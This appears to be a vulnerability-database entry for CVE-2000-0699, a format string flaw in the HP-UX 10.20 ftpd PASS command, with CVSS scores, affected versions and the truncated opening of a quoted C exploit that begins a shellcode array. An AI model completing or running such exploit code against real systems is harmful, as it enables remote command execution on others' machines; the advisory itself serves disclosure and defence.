10
CVSSv2

CVE-2000-0699

Published: 20/10/2000 Updated: 05/09/2008
CVSS v2 Base Score: 10 | Impact Score: 10 | Exploitability Score: 10
VMScore: 1000
Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

Format string vulnerability in ftpd in HP-UX 10.20 allows remote malicious users to cause a denial of service or execute arbitrary commands via format strings in the PASS command.

Vulnerable Product Search on Vulmon Subscribe to Product

hp hp-ux 11.00

hp hp-ux 10.20

Exploits

/* theoretical exploit for hpux ftpd vulnerability */ /* not tested anywhere, needs tweaking */ /* (c) 2000 by babcia padlina ltd <venglin@freebsdlublinpl> */ #include <stdioh> #include <stdlibh> #define NOPS 100 #define BUFSIZE 1024 char shellcode[] = /* HP-U ...